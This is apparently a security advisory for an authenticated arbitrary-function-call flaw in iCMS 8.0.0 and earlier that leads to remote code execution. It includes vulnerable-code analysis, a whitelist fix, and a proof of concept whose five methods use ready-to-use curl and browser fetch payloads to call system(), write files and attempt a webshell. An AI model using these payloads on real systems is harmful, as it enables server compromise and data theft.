Logo Arbitrary Function Call Vulnerability Leading to RCE in iCMS ≤ 8.0.0

Arbitrary Function Call Vulnerability Leading to RCE in iCMS ≤ 8.0.0

  • Title: Arbitrary Function Call Vulnerability Leading to RCE in iCMS ≤ 8.0.0

    BUG_Author: security_reseacher

    Affected Version: iCMS ≤ 8.0.0

    Vendor: iCMS

    Software: iCMS

    Vulnerability Type: CWE-94 (Improper Control of Generation of Code)

    Vulnerability Files:

    • app/config/ConfigAdmincp.php (Line 110-123)


    Prerequisites (Exploitation Conditions):

    RequirementDescription
    AuthenticationAdministrator account with access to backend (/admincp.php)
    Permission LevelSuper administrator or user with config management permission
    CSRF TokenValid CSRF token from the current session
    Session CookieValid iCMS_ADMINCP session cookie

    Important Notes:

    • This is a post-authentication vulnerability

    • Requires valid admin credentials to exploit

    • CSRF protection exists but does not prevent authenticated attacks

    • The attacker must either have admin access or trick an admin into executing malicious requests (CSRF attack scenario)


    Description:

    A critical Remote Code Execution (RCE) vulnerability exists in iCMS version 8.0.0 and below. The vulnerability is located in the save() function of the ConfigAdmincp class, which allows an authenticated administrator to execute arbitrary PHP functions through the saveCall POST parameter.

    Vulnerable Code Analysis:

    File: app/config/ConfigAdmincp.php (Lines 110-123)

    public function save($config = [], $saveCall = [])
    {
       empty($config) && $config = (array)Request::post('config');
       $saveCall = (array)Request::post('saveCall');  // [VULN] User-controlled input, no validation

       if ($saveCall) {
           foreach ($saveCall as $key => $call) {
               $data = $config[$key];                  // [VULN] User-controlled data
               // $call=='true' && $call='self::saveCall_'.$key;
               if (is_callable($call)) {              // [VULN] Only checks if callable, no whitelist
                   $config[$key] = call_user_func_array($call, [&$data, $config]);  // [VULN] RCE HERE
              }
          }
      }
       // ...
    }

    Root Cause:

    1. No Input Validation: The $saveCall parameter is directly retrieved from user POST data without any sanitization or whitelist validation.

    2. Dangerous Function Call: The call_user_func_array() function executes any callable function specified by the attacker.

    3. User-Controlled Arguments: The first argument $data comes from $config[$key], which is also user-controlled via the config POST parameter.

    Attack Vector:

    POST /admincp.php/config/system HTTP/1.1

    config[key]=<command_or_data>&saveCall[key]=<dangerous_function>&CSRF_TOKEN=<token>

    The function call translates to:

    call_user_func_array('<dangerous_function>', ['<command_or_data>', $config]);

    Impact:

    Impact TypeDescription
    Remote Code ExecutionExecute arbitrary system commands on the server
    File System AccessRead, write, or delete arbitrary files
    Data BreachAccess sensitive database and configuration data
    Server TakeoverFull compromise of the web server
    Lateral MovementPotential pivot point for attacking internal network

    Proof of Concept:

    Prerequisites:

    1. Administrator Account: Valid admin credentials for the iCMS backend

    2. CSRF Token: Obtain from any admin page (stored in JavaScript variable $APP.CSRF_TOKEN)

    3. Session Cookie: iCMS_ADMINCP cookie from authenticated session

    Step 1: Login to Admin Panel

    http://<target-ip>/admincp.php

    Login with administrator credentials.

    Step 2: Obtain CSRF Token

    Open browser Developer Tools (F12) → Console, and execute:

    console.log($APP.CSRF_TOKEN);

    Or view page source and search for CSRF_TOKEN.

    Step 3: Obtain Session Cookie

    Open Developer Tools → Application → Cookies → Copy iCMS_ADMINCP value.


    Exploitation Methods:

    Method 1: Command Execution via system() (Blind)

    Payload:

    curl -X POST "http://<target-ip>/admincp.php/config/system" \
     -H "X-Requested-With: XMLHttpRequest" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -H "Cookie: iCMS_ADMINCP=<session_cookie>" \
     -d "config[rce]=id&saveCall[rce]=system&CSRF_TOKEN=<csrf_token>"

    Expected Response:

    {
     "message": "iCMS Warning(2): system(): Argument #2 ($result_code) must be passed by reference, value given in iCMS://app/config/ConfigAdmincp.php:120"
    }

    Note: The warning confirms system() function was called at line 120, proving the arbitrary function call vulnerability exists. However, the command output is not visible in the response due to PHP's error handling. This is a blind command execution - use out-of-band techniques (DNS, HTTP callback) or file-based methods to confirm execution.


    Method 2: File Creation via file_put_contents()

    This method provides clear evidence of code execution by creating a file on the server.

    Payload:

    curl -X POST "http://<target-ip>/admincp.php/config/system" \
     -H "X-Requested-With: XMLHttpRequest" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -H "Cookie: iCMS_ADMINCP=<session_cookie>" \
     -d "config[rce]=/tmp/pwned.txt&saveCall[rce]=file_put_contents&CSRF_TOKEN=<csrf_token>"

    Expected Response:

    {
    "data": [],
    "message": "系统配置",
    "code": 1,
    "state": "SUCCESS",
    "success": true
    }

    Verification:

    ls -la /tmp/pwned.txt
    # Output: -rw-rw-r-- 1 www-data www-data 14 Dec 18 20:36 /tmp/pwned.txt

    Method 3: Webshell Upload via file_put_contents()

    Payload:

    curl -X POST "http://<target-ip>/admincp.php/config/system" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "Cookie: iCMS_ADMINCP=<session_cookie>" \
    -d "config[rce]=./public/shell.php&saveCall[rce]=file_put_contents&CSRF_TOKEN=<csrf_token>"

    Note: The file content will be the serialized $config array. For a functional webshell, additional techniques may be required.


    Method 4: Browser-Based Exploitation

    Execute in browser console while logged into admin panel:

    // Get CSRF token from current page
    const token = $APP.CSRF_TOKEN;

    // Execute system command
    fetch('/admincp.php/config/system', {
    method: 'POST',
    headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
    'X-Requested-With': 'XMLHttpRequest'
    },
    body: 'config[rce]=id&saveCall[rce]=system&CSRF_TOKEN=' + encodeURIComponent(token)
    }).then(r => r.text()).then(console.log);

    Method 5: Create File with Custom Content

    To write specific content, use the array serialization behavior:

    curl -X POST "http://<target-ip>/admincp.php/config/system" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "Cookie: iCMS_ADMINCP=<session_cookie>" \
    -d “config[file]=/var/www/html/test.txt&config[content]=HACKED&saveCall[file]=file_put_contents&CSRF_TOKEN=<csrf_token>”

    Evidence:

    Evidence 1: Arbitrary Function Call Confirmation (system)

    Request:

    POST /admincp.php/config/system HTTP/1.1
    Host: localhost:8888
    Cookie: iCMS_ADMINCP=00aftq30m9lnlir0hl4d0vr7h3
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest

    config[rce]=id&saveCall[rce]=system&CSRF_TOKEN=K1NJM0p5Nkkv...

    Response:

    {
    "message": "<div id=\"error-message\"><b>iCMS Warning(2)</b>:system(): Argument #2 ($result_code) must be passed by reference, value given in <b>iCMS://app/config/ConfigAdmincp.php:120</b>..."
    }

    Analysis:

    • The error message proves system() function was invoked at ConfigAdmincp.php:120

    • This confirms the arbitrary function call vulnerability exists

    • Command output is not visible (blind execution) due to PHP error handling

    • This alone proves the vulnerability - attacker-controlled function name is being executed

    Evidence 2: File Creation Proof

    Request:

    POST /admincp.php/config/system HTTP/1.1
    ...
    config[rce]=/tmp/pwned.txt&saveCall[rce]=file_put_contents&CSRF_TOKEN=...

    Server File System:

    $ ls -la /tmp/pwned.txt
    -rw-rw-r-- 1 haruki haruki 14 Dec 18 20:36 /tmp/pwned.txt

    $ cat /tmp/pwned.txt
    /tmp/pwned.txt

    The file was successfully created, confirming arbitrary function execution.

    Remediation:

    1. Implement a whitelist of allowed callback functions:

      $allowedCallbacks = [
         'ConfigAdmincp::saveCall_config_template',
         'ConfigAdmincp::saveCall_config_route',
      ];

      if ($saveCall) {
         foreach ($saveCall as $key => $call) {
             if (in_array($call, $allowedCallbacks) && is_callable($call)) {
                 $config[$key] = call_user_func_array($call, [&$data, $config]);
            }
        }
      }
    2. Never trust user input for function names in call_user_func_array().